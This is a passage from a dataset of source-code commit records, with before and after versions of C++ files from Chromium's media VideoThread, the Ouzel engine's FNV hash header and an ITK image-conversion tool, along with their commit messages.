NewRunnableMethod(decoder_.get(), &VideoDecoder::Read,\n      NewCallback(this, &VideoThread::OnReadComplete)));\n}\n\nbool VideoThread::WaitForInitialized() {\n  \/\/ This loop essentially handles preroll.  We wait until we've been fully\n  \/\/ initialized so we can call OnFrameAvailable() to provide subclasses with\n  \/\/ the first frame.\n  AutoLock auto_lock(lock_);\n  DCHECK_EQ(state_, INITIALIZING);\n  while (state_ == INITIALIZING) {\n    frame_available_.Wait();\n    if (state_ == STOPPED) {\n      return false;\n    }\n  }\n  DCHECK_EQ(state_, INITIALIZED);\n  DCHECK(current_frame_);\n  return true;\n}\n\n}  \/\/ namespace media\n<commit_msg>Fix an aggressive DCHECK in media::VideoThread<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#include \"media\/base\/buffers.h\"\n#include \"media\/base\/filter_host.h\"\n#include \"media\/filters\/video_thread.h\"\n\nnamespace media {\n\n\/\/ Limit our read ahead to three frames.  One frame is typically in flux at all\n\/\/ times, as in frame n is discarded at the top of ThreadMain() while frame\n\/\/ (n + kMaxFrames) is being asynchronously fetched.  The remaining two frames\n\/\/ allow us to advance the current frame as well as read the timestamp of the\n\/\/ following frame for more accurate timing.\n\/\/\n\/\/ Increasing this number beyond 3 simply creates a larger buffer to work with\n\/\/ at the expense of memory (~0.5MB and ~1.3MB per frame for 480p and 720p\n\/\/ resolutions, respectively).  This can help on lower-end systems if there are\n\/\/ difficult sections in the movie and decoding slows down.\nstatic const size_t kMaxFrames = 3;\n\n\/\/ Sleeping for negative amounts actually hangs your thread on Windows!\nstatic const int64 kMinSleepMilliseconds = 0;\n\n\/\/ This equates to ~13.33 fps, which is just under the typical 15 fps that lower\n\/\/ quality cameras or shooting modes usually use for video encoding.\nstatic const int64 kMaxSleepMilliseconds = 75;\n\nVideoThread::VideoThread()\n    : frame_available_(&lock_),\n      state_(UNINITIALIZED),\n      thread_(NULL),\n      playback_rate_(0) {\n}\n\nVideoThread::~VideoThread() {\n  AutoLock auto_lock(lock_);\n  DCHECK(state_ == UNINITIALIZED || state_ == STOPPED);\n}\n\n\/\/ static\nbool VideoThread::ParseMediaFormat(const media::MediaFormat& media_format,\n                                   int* width_out, int* height_out) {\n  std::string mime_type;\n  if (!media_format.GetAsString(media::MediaFormat::kMimeType, &mime_type))\n    return false;\n  if (mime_type.compare(media::mime_type::kUncompressedVideo) != 0)\n    return false;\n  if (!media_format.GetAsInteger(media::MediaFormat::kWidth, width_out))\n    return false;\n  if (!media_format.GetAsInteger(media::MediaFormat::kHeight, height_out))\n    return false;\n  return true;\n}\n\nvoid VideoThread::Stop() {\n  AutoLock auto_lock(lock_);\n  state_ = STOPPED;\n  if (thread_) {\n    \/\/ Signal the thread since it's possible to get stopped with the video\n    \/\/ thread waiting for a read to complete.\n    frame_available_.Signal();\n    {\n      AutoUnlock auto_unlock(lock_);\n      PlatformThread::Join(thread_);\n    }\n    thread_ = NULL;\n  }\n}\n\nvoid VideoThread::SetPlaybackRate(float playback_rate) {\n  AutoLock auto_lock(lock_);\n  playback_rate_ = playback_rate;\n}\n\nvoid VideoThread::Seek(base::TimeDelta time) {\n  \/\/ Do nothing.\n}\n\nbool VideoThread::Initialize(VideoDecoder* decoder) {\n  AutoLock auto_lock(lock_);\n  DCHECK_EQ(state_, UNINITIALIZED);\n  state_ = INITIALIZING;\n  decoder_ = decoder;\n\n  \/\/ Notify the pipeline of the video dimensions.\n  int width = 0;\n  int height = 0;\n  if (!ParseMediaFormat(decoder->media_format(), &width, &height))\n    return false;\n  host_->SetVideoSize(width, height);\n\n  \/\/ Initialize the subclass.\n  \/\/ TODO(scherkus): do we trust subclasses not to do something silly while\n  \/\/ we're holding the lock?\n  if (!OnInitialize(decoder))\n    return false;\n\n  \/\/ Create our video thread.\n  if (!PlatformThread::Create(0, this, &thread_)) {\n    NOTREACHED() << \"Video thread creation failed\";\n    return false;\n  }\n\n#if defined(OS_WIN)\n  \/\/ Bump up our priority so our sleeping is more accurate.\n  \/\/ TODO(scherkus): find out if this is necessary, but it seems to help.\n  ::SetThreadPriority(thread_, THREAD_PRIORITY_ABOVE_NORMAL);\n#endif  \/\/ defined(OS_WIN)\n\n  \/\/ Queue initial reads.\n  for (size_t i = 0; i < kMaxFrames; ++i) {\n    ScheduleRead();\n  }\n\n  return true;\n}\n\n\/\/ PlatformThread::Delegate implementation.\nvoid VideoThread::ThreadMain() {\n  PlatformThread::SetName(\"VideoThread\");\n\n  \/\/ Wait to be initialized so we can notify the first frame is available.\n  if (!WaitForInitialized())\n    return;\n  OnFrameAvailable();\n\n  for (;;) {\n    \/\/ State and playback rate to assume for this iteration of the loop.\n    State state;\n    float playback_rate;\n    {\n      AutoLock auto_lock(lock_);\n      state = state_;\n      playback_rate = playback_rate_;\n    }\n    if (state == STOPPED) {\n      return;\n    }\n    DCHECK_EQ(state, INITIALIZED);\n\n    \/\/ Sleep for 10 milliseconds while paused.\n    if (playback_rate == 0) {\n      PlatformThread::Sleep(10);\n      continue;\n    }\n\n    \/\/ Advance |current_frame_| and try to determine |next_frame|.\n    scoped_refptr<VideoFrame> next_frame;\n    {\n      AutoLock auto_lock(lock_);\n      DCHECK(!frames_.empty());\n      DCHECK_EQ(current_frame_, frames_.front());\n      frames_.pop_front();\n      ScheduleRead();\n      while (frames_.empty()) {\n        frame_available_.Wait();\n\n        \/\/ We have the lock again, check the actual state to see if we're trying\n        \/\/ to stop.\n        if (state_ == STOPPED) {\n          return;\n        }\n      }\n      current_frame_ = frames_.front();\n      if (frames_.size() >= 2) {\n        next_frame = frames_[1];\n      }\n    }\n\n    \/\/ Notify subclass that |current_frame_| has been updated.\n    OnFrameAvailable();\n\n    \/\/ Determine the current and next presentation timestamps.\n    base::TimeDelta now = host_->GetPipelineStatus()->GetTime();\n    base::TimeDelta this_pts = current_frame_->GetTimestamp();\n    base::TimeDelta next_pts;\n    if (next_frame) {\n      next_pts = next_frame->GetTimestamp();\n    } else {\n      next_pts = this_pts + current_frame_->GetDuration();\n    }\n\n    \/\/ Determine our sleep duration based on whether time advanced.\n    base::TimeDelta sleep;\n    if (now == previous_time_) {\n      \/\/ Time has not changed, assume we sleep for the frame's duration.\n      sleep = next_pts - this_pts;\n    } else {\n      \/\/ Time has changed, figure out real sleep duration.\n      sleep = next_pts - now;\n      previous_time_ = now;\n    }\n\n    \/\/ Scale our sleep based on the playback rate.\n    \/\/ TODO(scherkus): floating point badness and degrade gracefully.\n    int sleep_ms = static_cast<int>(sleep.InMicroseconds() \/ playback_rate \/\n        base::Time::kMicrosecondsPerMillisecond);\n\n    \/\/ To be safe, limit our sleep duration.\n    \/\/ TODO(scherkus): handle seeking gracefully.. right now a seek backwards\n    \/\/ will hit kMinSleepMilliseconds whereas a seek forward will hit\n    \/\/ kMaxSleepMilliseconds.\n    if (sleep_ms < kMinSleepMilliseconds)\n      sleep_ms = kMinSleepMilliseconds;\n    else if (sleep_ms > kMaxSleepMilliseconds)\n      sleep_ms = kMaxSleepMilliseconds;\n\n    PlatformThread::Sleep(sleep_ms);\n  }\n}\n\nvoid VideoThread::GetCurrentFrame(scoped_refptr<media::VideoFrame>* frame_out) {\n  AutoLock auto_lock(lock_);\n  \/\/ Either we have initialized or we have the current frame.\n  DCHECK(state_ != INITIALIZED || current_frame_);\n  *frame_out = current_frame_;\n}\n\nvoid VideoThread::OnReadComplete(VideoFrame* frame) {\n  AutoLock auto_lock(lock_);\n  frames_.push_back(frame);\n  DCHECK_LE(frames_.size(), kMaxFrames);\n\n  \/\/ Check for our initialization condition.\n  if (state_ == INITIALIZING && frames_.size() == kMaxFrames) {\n    state_ = INITIALIZED;\n    current_frame_ = frames_.front();\n    host_->InitializationComplete();\n  }\n\n  frame_available_.Signal();\n}\n\nvoid VideoThread::ScheduleRead() {\n  host_->PostTask(\n      NewRunnableMethod(decoder_.get(), &VideoDecoder::Read,\n      NewCallback(this, &VideoThread::OnReadComplete)));\n}\n\nbool VideoThread::WaitForInitialized() {\n  \/\/ This loop essentially handles preroll.  We wait until we've been fully\n  \/\/ initialized so we can call OnFrameAvailable() to provide subclasses with\n  \/\/ the first frame.\n  AutoLock auto_lock(lock_);\n  DCHECK_EQ(state_, INITIALIZING);\n  while (state_ == INITIALIZING) {\n    frame_available_.Wait();\n    if (state_ == STOPPED) {\n      return false;\n    }\n  }\n  DCHECK_EQ(state_, INITIALIZED);\n  DCHECK(current_frame_);\n  return true;\n}\n\n}  \/\/ namespace media\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015-2019 Elviss Strazdins. All rights reserved.\n\n#ifndef OUZEL_MATH_FNV_HPP\n#define OUZEL_MATH_FNV_HPP\n\n#include <cstdint>\n\nnamespace ouzel\n{\n    namespace fnv\n    {\n        inline namespace detail\n        {\n            template <typename T> constexpr T prime;\n            template <typename T> constexpr T offsetBasis;\n\n            template <> constexpr uint32_t prime<uint32_t> = 16777619u;\n            template <> constexpr uint32_t offsetBasis<uint32_t> = 2166136261u;\n            template <> constexpr uint64_t prime<uint64_t> = 1099511628211u;\n            template <> constexpr uint64_t offsetBasis<uint64_t> = 14695981039346656037u;\n        }\n\n        \/\/ Fowler \/ Noll \/ Vo (FNV) hash\n        template <typename Result, typename Value>\n        constexpr Result hash(const Value value, size_t i = 0, Result result = offsetBasis<Result>) noexcept\n        {\n            return (i < sizeof(Value)) ? hash<Result>(value, i + 1, (result * prime<Result>) ^ ((value >> (i * 8)) & 0xFF)) : result;\n        }\n    } \/\/ namespace fnv\n} \/\/ namespace ouzel\n\n#endif \/\/ OUZEL_MATH_FNV_HPP\n<commit_msg>Initialize prime and offsetBasis to 0<commit_after>\/\/ Copyright 2015-2019 Elviss Strazdins. All rights reserved.\n\n#ifndef OUZEL_MATH_FNV_HPP\n#define OUZEL_MATH_FNV_HPP\n\n#include <cstdint>\n\nnamespace ouzel\n{\n    namespace fnv\n    {\n        inline namespace detail\n        {\n            template <typename T> constexpr T prime = T(0);\n            template <typename T> constexpr T offsetBasis = T(0);\n\n            template <> constexpr uint32_t prime<uint32_t> = 16777619u;\n            template <> constexpr uint32_t offsetBasis<uint32_t> = 2166136261u;\n            template <> constexpr uint64_t prime<uint64_t> = 1099511628211u;\n            template <> constexpr uint64_t offsetBasis<uint64_t> = 14695981039346656037u;\n        }\n\n        \/\/ Fowler \/ Noll \/ Vo (FNV) hash\n        template <typename Result, typename Value>\n        constexpr Result hash(const Value value, size_t i = 0, Result result = offsetBasis<Result>) noexcept\n        {\n            return (i < sizeof(Value)) ? hash<Result>(value, i + 1, (result * prime<Result>) ^ ((value >> (i * 8)) & 0xFF)) : result;\n        }\n    } \/\/ namespace fnv\n} \/\/ namespace ouzel\n\n#endif \/\/ OUZEL_MATH_FNV_HPP\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Disable kernel pre-compilation for now.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n*\n* Copyright Marius Staring, Stefan Klein, David Doria. 2011.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*=========================================================================*\/\n\/** \\file\n \\brief This program converts and possibly casts images.\n \n \\verbinclude castconvert.help\n *\/\n\/*\n * authors:       Marius Staring and Stefan Klein\n *\n * Thanks to Hans J. Johnson for a modification to this program. This\n * modification breaks down the program into smaller compilation units,\n * so that the compiler does not overflow.\n *\n * ENH: on 23-05-2006 we added multi-component support.\n * ENH: on 09-06-2006 we added support for extracting a specific DICOM serie.\n *\/\n\n#include <iostream>\n#include \"castconverthelpers2.h\"\n\n#include \"CommandLineArgumentHelper.h\"\n#include \"itkCommandLineArgumentParser.h\"\n\n#include \"itkImageFileReader.h\"\n#include \"itkGDCMImageIO.h\"\n\n\/\/ Some non-standard IO Factories\n#include \"itkGE4ImageIOFactory.h\"\n#include \"itkGE5ImageIOFactory.h\"\n#include \"itkGEAdwImageIOFactory.h\"\n\/\/#include \"itkBrains2MaskImageIOFactory.h\"\n#include \"itkPhilipsRECImageIOFactory.h\"\n\n\/* Functions to do the actual conversion. *\/\nextern int FileConverterScalar(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const std::string & inputFileName,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\nextern int DicomFileConverterScalarA(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const std::string & inputDirectoryName,\n  const std::string & seriesUID,\n  const std::vector<std::string> & restrictions,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\nextern int DicomFileConverterScalarB(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const std::string & inputDirectoryName,\n  const std::string & seriesUID,\n  const std::vector<std::string> & restrictions,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\nextern int FileConverterMultiComponent(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const unsigned int numberOfComponents,\n  const std::string & inputFileName,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\n\n\/\/-------------------------------------------------------------------------------------\n\nint main( int argc, char **argv )\n{\n  \/** Register some non-standard IO Factories to make the tool more useful.\n   * Copied from the Insight Applications.\n   *\/\n  \/\/itk::Brains2MaskImageIOFactory::RegisterOneFactory();\n  itk::GE4ImageIOFactory::RegisterOneFactory();\n  itk::GE5ImageIOFactory::RegisterOneFactory();\n  itk::GEAdwImageIOFactory::RegisterOneFactory();\n  itk::PhilipsRECImageIOFactory::RegisterOneFactory();\n\n  itk::CommandLineArgumentParser::Pointer parser = itk::CommandLineArgumentParser::New();\n  parser->SetCommandLineArguments( argc, argv );\n  parser->SetProgramHelpText( GetHelpString() );\n\n  parser->MarkArgumentAsRequired( \"-in\", \"The input filename.\" );\n  parser->MarkArgumentAsRequired( \"-out\", \"The output filename.\" );\n\n  \/** Get the command line arguments. *\/\n  std::string input = \"\";\n  std::string outputFileName = \"\";\n  std::string outputPixelComponentType = \"\";\n  std::string seriesUID = \"\";\n  std::vector<std::string> restrictions;\n  std::string errorMessage = \"\";\n  bool useCompression = false;\n  bool argsRetrievedSuccessfully = GetCommandLineArguments( parser,\n    input, outputFileName, outputPixelComponentType,\n    seriesUID, restrictions, useCompression );\n\n  itk::CommandLineArgumentParser::ReturnValue validateArguments = parser->CheckForRequiredArguments();\n\n  if(validateArguments == itk::CommandLineArgumentParser::FAILED || !argsRetrievedSuccessfully)\n  {\n    return EXIT_FAILURE;\n  }\n  else if(validateArguments == itk::CommandLineArgumentParser::HELPREQUESTED)\n  {\n    return EXIT_SUCCESS;\n  }\n\n  \/** Are we dealing with an image or a dicom series? *\/\n  bool isDICOM = false;\n  int returnValue2 = IsDICOM( input, errorMessage, isDICOM );\n  if ( returnValue2 )\n  {\n    std::cout << errorMessage << std::endl;\n    return returnValue2;\n  }\n\n  \/** Get inputFileName or inputDirectoryName. *\/\n  std::string inputFileName, inputDirectoryName;\n  if ( !isDICOM ) inputFileName = input;\n  else inputDirectoryName = input;\n\n  \/** TASK 2:\n   * Typedefs and test reading to determine correct image types.\n   * *******************************************************************\n   *\/\n\n  \/** Initial image type. *\/\n  const unsigned int Dimension = 3;\n  typedef short      PixelType;\n\n  \/** Some typedef's. *\/\n  typedef itk::Image< PixelType, Dimension >   ImageType;\n  typedef itk::ImageFileReader< ImageType >    ReaderType;\n  typedef itk::ImageIOBase                     ImageIOBaseType;\n  typedef itk::GDCMImageIO                     GDCMImageIOType;\n\n  \/** Create a testReader. *\/\n  ReaderType::Pointer testReader = ReaderType::New();\n\n  \/** Setup the testReader. *\/\n  if ( !isDICOM )\n  {\n    \/** Set the inputFileName in the testReader. *\/\n    testReader->SetFileName( inputFileName.c_str() );\n  }\n  else\n  {\n    std::string fileName = \"\";\n    int returnValue3 = GetFileNameFromDICOMDirectory(\n      inputDirectoryName, fileName, seriesUID, restrictions, errorMessage );\n    if ( returnValue3 )\n    {\n      std::cout << errorMessage << std::endl;\n      return returnValue3;\n    }\n\n    \/** Create a dicom ImageIO and set it in the testReader. *\/\n    GDCMImageIOType::Pointer dicomIO = GDCMImageIOType::New();\n    testReader->SetImageIO( dicomIO );\n\n    \/** Set the name of the 2D dicom image in the testReader. *\/\n    testReader->SetFileName( fileName.c_str() );\n\n  } \/\/ end isDICOM\n\n  \/** Generate all information. *\/\n  try\n  {\n    testReader->GenerateOutputInformation();\n  }\n  catch( itk::ExceptionObject  &  err  )\n  {\n    std::cerr  << \"ExceptionObject caught !\"  << std::endl;\n    std::cerr  << err <<  std::endl;\n    return 1;\n  }\n\n  \/** Extract the ImageIO from the testReader. *\/\n  ImageIOBaseType::Pointer testImageIOBase = testReader->GetImageIO();\n\n  \/** Get the component type, number of components, dimension and pixel type. *\/\n  unsigned int inputDimension = testImageIOBase->GetNumberOfDimensions();\n  unsigned int numberOfComponents = testImageIOBase->GetNumberOfComponents();\n  std::string inputPixelComponentType = testImageIOBase->GetComponentTypeAsString(\n    testImageIOBase->GetComponentType() );\n  std::string pixelType = testImageIOBase->GetPixelTypeAsString(\n    testImageIOBase->GetPixelType() );\n\n  \/** TASK 3:\n   * Do some preparations.\n   * *******************************************************************\n   *\/\n\n  \/** Check inputPixelType. *\/\n  if ( inputPixelComponentType != \"unsigned_char\"\n    && inputPixelComponentType != \"char\"\n    && inputPixelComponentType != \"unsigned_short\"\n    && inputPixelComponentType != \"short\"\n    && inputPixelComponentType != \"unsigned_int\"\n    && inputPixelComponentType != \"int\"\n    && inputPixelComponentType != \"unsigned_long\"\n    && inputPixelComponentType != \"long\"\n    && inputPixelComponentType != \"float\"\n    && inputPixelComponentType != \"double\" )\n  {\n    \/** In this case an illegal inputPixelComponentType is found. *\/\n    std::cerr << \"The found inputPixelComponentType is \\\"\" << inputPixelComponentType\n      << \"\\\", which is not supported.\" << std::endl;\n    return 1;\n  }\n\n  \/** Check outputPixelType. *\/\n  if ( outputPixelComponentType == \"\" )\n  {\n    \/** In this case this option is not given, and by default\n    * we set it to the inputPixelComponentType.\n    *\/\n    outputPixelComponentType = inputPixelComponentType;\n  }\n\n  \/** Get rid of the \"_\" in inputPixelComponentType and outputPixelComponentType. *\/\n  ReplaceUnderscoreWithSpace( inputPixelComponentType );\n  ReplaceUnderscoreWithSpace( outputPixelComponentType );\n\n  \/** TASK 4:\n   * Now we are ready to check on image type and subsequently call the\n   * correct ReadCastWrite-function.\n   * *******************************************************************\n   *\/\n\n  try\n  {\n    if ( !isDICOM )\n    {\n      \/**\n       * ****************** Support for SCALAR pixel types. **********************************\n       *\/\n      if ( pixelType == \"scalar\" && numberOfComponents == 1 )\n      {\n        const int ret_value = FileConverterScalar(\n          inputPixelComponentType, outputPixelComponentType,\n          inputFileName, outputFileName, inputDimension, useCompression );\n        if ( ret_value != 0 )\n        {\n          return ret_value;\n        }\n      } \/\/ end scalar support\n      \/**\n       * ****************** Support for multi-component pixel types. **********************************\n       *\/\n      else if ( numberOfComponents > 1 )\n      {\n        const int ret_value = FileConverterMultiComponent(\n          inputPixelComponentType, outputPixelComponentType, numberOfComponents,\n          inputFileName, outputFileName, inputDimension, useCompression );\n        if ( ret_value != 0 )\n        {\n          return ret_value;\n        }\n      } \/\/ end multi-component support\n      else\n      {\n        std::cerr << \"Pixel type is \" << pixelType\n          << \", component type is \" << inputPixelComponentType\n          << \" and number of components equals \" << numberOfComponents << \".\" << std::endl;\n        std::cerr << \"ERROR: This image type is not supported.\" << std::endl;\n        return 1;\n      }\n    } \/\/ end NonDicom image\n    else\n    {\n      \/** In this case input is a DICOM series, from which we only support\n       * SCALAR pixel types, with component type:\n       * DICOMImageIO2: (unsigned) char, (unsigned) short, float\n       * GDCMImageIO: (unsigned) char, (unsigned) short, (unsigned) int, double\n       * It is also assumed that the dicom series consist of multiple\n       * 2D images forming a 3D image.\n       *\/\n\n      if ( strcmp( pixelType.c_str(), \"scalar\" ) == 0 && numberOfComponents == 1 )\n      {\n        const int ret_value = DicomFileConverterScalarA(\n          inputPixelComponentType, outputPixelComponentType,\n          inputDirectoryName, seriesUID, restrictions,\n          outputFileName, inputDimension, useCompression )\n          || DicomFileConverterScalarB(\n          inputPixelComponentType, outputPixelComponentType,\n          inputDirectoryName, seriesUID, restrictions,\n          outputFileName, inputDimension, useCompression );\n        if ( ret_value != 0 )\n        {\n          return ret_value;\n        }\n      }\n      else\n      {\n        std::cerr << \"Pixel type is \" << pixelType\n          << \", component type is \" << inputPixelComponentType\n          << \" and number of components equals \" << numberOfComponents << \".\" << std::endl;\n        std::cerr << \"ERROR: This image type is not supported.\" << std::endl;\n        return 1;\n      }\n\n    } \/\/ end isDICOM\n\n  } \/\/ end try\n  \/** If any errors have occurred, catch and print the exception and return false. *\/\n  catch ( itk::ExceptionObject & err )\n  {\n    std::cerr << \"ExceptionObject caught !\" << std::endl;\n    std::cerr << err << std::endl;\n    return 1;\n  }\n\n  \/** End  program. Return success. *\/\n  return 0;\n\n}  \/\/ end main\n<commit_msg>Add success message at the end of castconvert<commit_after>\/*=========================================================================\n*\n* Copyright Marius Staring, Stefan Klein, David Doria. 2011.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*=========================================================================*\/\n\/** \\file\n \\brief This program converts and possibly casts images.\n \n \\verbinclude castconvert.help\n *\/\n\/*\n * authors:       Marius Staring and Stefan Klein\n *\n * Thanks to Hans J. Johnson for a modification to this program. This\n * modification breaks down the program into smaller compilation units,\n * so that the compiler does not overflow.\n *\n * ENH: on 23-05-2006 we added multi-component support.\n * ENH: on 09-06-2006 we added support for extracting a specific DICOM serie.\n *\/\n\n#include <iostream>\n#include \"castconverthelpers2.h\"\n\n#include \"CommandLineArgumentHelper.h\"\n#include \"itkCommandLineArgumentParser.h\"\n\n#include \"itkImageFileReader.h\"\n#include \"itkGDCMImageIO.h\"\n\n\/\/ Some non-standard IO Factories\n#include \"itkGE4ImageIOFactory.h\"\n#include \"itkGE5ImageIOFactory.h\"\n#include \"itkGEAdwImageIOFactory.h\"\n\/\/#include \"itkBrains2MaskImageIOFactory.h\"\n#include \"itkPhilipsRECImageIOFactory.h\"\n\n\/* Functions to do the actual conversion. *\/\nextern int FileConverterScalar(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const std::string & inputFileName,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\nextern int DicomFileConverterScalarA(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const std::string & inputDirectoryName,\n  const std::string & seriesUID,\n  const std::vector<std::string> & restrictions,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\nextern int DicomFileConverterScalarB(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const std::string & inputDirectoryName,\n  const std::string & seriesUID,\n  const std::vector<std::string> & restrictions,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\nextern int FileConverterMultiComponent(\n  const std::string & inputPixelComponentType,\n  const std::string & outputPixelComponentType,\n  const unsigned int numberOfComponents,\n  const std::string & inputFileName,\n  const std::string & outputFileName,\n  const unsigned int inputDimension, bool useCompression );\n\n\/\/-------------------------------------------------------------------------------------\n\nint main( int argc, char **argv )\n{\n  \/** Register some non-standard IO Factories to make the tool more useful.\n   * Copied from the Insight Applications.\n   *\/\n  \/\/itk::Brains2MaskImageIOFactory::RegisterOneFactory();\n  itk::GE4ImageIOFactory::RegisterOneFactory();\n  itk::GE5ImageIOFactory::RegisterOneFactory();\n  itk::GEAdwImageIOFactory::RegisterOneFactory();\n  itk::PhilipsRECImageIOFactory::RegisterOneFactory();\n\n  itk::CommandLineArgumentParser::Pointer parser = itk::CommandLineArgumentParser::New();\n  parser->SetCommandLineArguments( argc, argv );\n  parser->SetProgramHelpText( GetHelpString() );\n\n  parser->MarkArgumentAsRequired( \"-in\", \"The input filename.\" );\n  parser->MarkArgumentAsRequired( \"-out\", \"The output filename.\" );\n\n  \/** Get the command line arguments. *\/\n  std::string input = \"\";\n  std::string outputFileName = \"\";\n  std::string outputPixelComponentType = \"\";\n  std::string seriesUID = \"\";\n  std::vector<std::string> restrictions;\n  std::string errorMessage = \"\";\n  bool useCompression = false;\n  bool argsRetrievedSuccessfully = GetCommandLineArguments( parser,\n    input, outputFileName, outputPixelComponentType,\n    seriesUID, restrictions, useCompression );\n\n  itk::CommandLineArgumentParser::ReturnValue validateArguments = parser->CheckForRequiredArguments();\n\n  if(validateArguments == itk::CommandLineArgumentParser::FAILED || !argsRetrievedSuccessfully)\n  {\n    return EXIT_FAILURE;\n  }\n  else if(validateArguments == itk::CommandLineArgumentParser::HELPREQUESTED)\n  {\n    return EXIT_SUCCESS;\n  }\n\n  \/** Are we dealing with an image or a dicom series? *\/\n  bool isDICOM = false;\n  int returnValue2 = IsDICOM( input, errorMessage, isDICOM );\n  if ( returnValue2 )\n  {\n    std::cout << errorMessage << std::endl;\n    return returnValue2;\n  }\n\n  \/** Get inputFileName or inputDirectoryName. *\/\n  std::string inputFileName, inputDirectoryName;\n  if ( !isDICOM ) inputFileName = input;\n  else inputDirectoryName = input;\n\n  \/** TASK 2:\n   * Typedefs and test reading to determine correct image types.\n   * *******************************************************************\n   *\/\n\n  \/** Initial image type. *\/\n  const unsigned int Dimension = 3;\n  typedef short      PixelType;\n\n  \/** Some typedef's. *\/\n  typedef itk::Image< PixelType, Dimension >   ImageType;\n  typedef itk::ImageFileReader< ImageType >    ReaderType;\n  typedef itk::ImageIOBase                     ImageIOBaseType;\n  typedef itk::GDCMImageIO                     GDCMImageIOType;\n\n  \/** Create a testReader. *\/\n  ReaderType::Pointer testReader = ReaderType::New();\n\n  \/** Setup the testReader. *\/\n  if ( !isDICOM )\n  {\n    \/** Set the inputFileName in the testReader. *\/\n    testReader->SetFileName( inputFileName.c_str() );\n  }\n  else\n  {\n    std::string fileName = \"\";\n    int returnValue3 = GetFileNameFromDICOMDirectory(\n      inputDirectoryName, fileName, seriesUID, restrictions, errorMessage );\n    if ( returnValue3 )\n    {\n      std::cout << errorMessage << std::endl;\n      return returnValue3;\n    }\n\n    \/** Create a dicom ImageIO and set it in the testReader. *\/\n    GDCMImageIOType::Pointer dicomIO = GDCMImageIOType::New();\n    testReader->SetImageIO( dicomIO );\n\n    \/** Set the name of the 2D dicom image in the testReader. *\/\n    testReader->SetFileName( fileName.c_str() );\n\n  } \/\/ end isDICOM\n\n  \/** Generate all information. *\/\n  try\n  {\n    testReader->GenerateOutputInformation();\n  }\n  catch( itk::ExceptionObject  &  err  )\n  {\n    std::cerr  << \"ExceptionObject caught !\"  << std::endl;\n    std::cerr  << err <<  std::endl;\n    return 1;\n  }\n\n  \/** Extract the ImageIO from the testReader. *\/\n  ImageIOBaseType::Pointer testImageIOBase = testReader->GetImageIO();\n\n  \/** Get the component type, number of components, dimension and pixel type. *\/\n  unsigned int inputDimension = testImageIOBase->GetNumberOfDimensions();\n  unsigned int numberOfComponents = testImageIOBase->GetNumberOfComponents();\n  std::string inputPixelComponentType = testImageIOBase->GetComponentTypeAsString(\n    testImageIOBase->GetComponentType() );\n  std::string pixelType = testImageIOBase->GetPixelTypeAsString(\n    testImageIOBase->GetPixelType() );\n\n  \/** TASK 3:\n   * Do some preparations.\n   * *******************************************************************\n   *\/\n\n  \/** Check inputPixelType. *\/\n  if ( inputPixelComponentType != \"unsigned_char\"\n    && inputPixelComponentType != \"char\"\n    && inputPixelComponentType != \"unsigned_short\"\n    && inputPixelComponentType != \"short\"\n    && inputPixelComponentType != \"unsigned_int\"\n    && inputPixelComponentType != \"int\"\n    && inputPixelComponentType != \"unsigned_long\"\n    && inputPixelComponentType != \"long\"\n    && inputPixelComponentType != \"float\"\n    && inputPixelComponentType != \"double\" )\n  {\n    \/** In this case an illegal inputPixelComponentType is found. *\/\n    std::cerr << \"The found inputPixelComponentType is \\\"\" << inputPixelComponentType\n      << \"\\\", which is not supported.\" << std::endl;\n    return 1;\n  }\n\n  \/** Check outputPixelType. *\/\n  if ( outputPixelComponentType == \"\" )\n  {\n    \/** In this case this option is not given, and by default\n    * we set it to the inputPixelComponentType.\n    *\/\n    outputPixelComponentType = inputPixelComponentType;\n  }\n\n  \/** Get rid of the \"_\" in inputPixelComponentType and outputPixelComponentType. *\/\n  ReplaceUnderscoreWithSpace( inputPixelComponentType );\n  ReplaceUnderscoreWithSpace( outputPixelComponentType );\n\n  \/** TASK 4:\n   * Now we are ready to check on image type and subsequently call the\n   * correct ReadCastWrite-function.\n   * *******************************************************************\n   *\/\n\n  try\n  {\n    if ( !isDICOM )\n    {\n      \/**\n       * ****************** Support for SCALAR pixel types. **********************************\n       *\/\n      if ( pixelType == \"scalar\" && numberOfComponents == 1 )\n      {\n        const int ret_value = FileConverterScalar(\n          inputPixelComponentType, outputPixelComponentType,\n          inputFileName, outputFileName, inputDimension, useCompression );\n        if ( ret_value != 0 )\n        {\n          return ret_value;\n        }\n   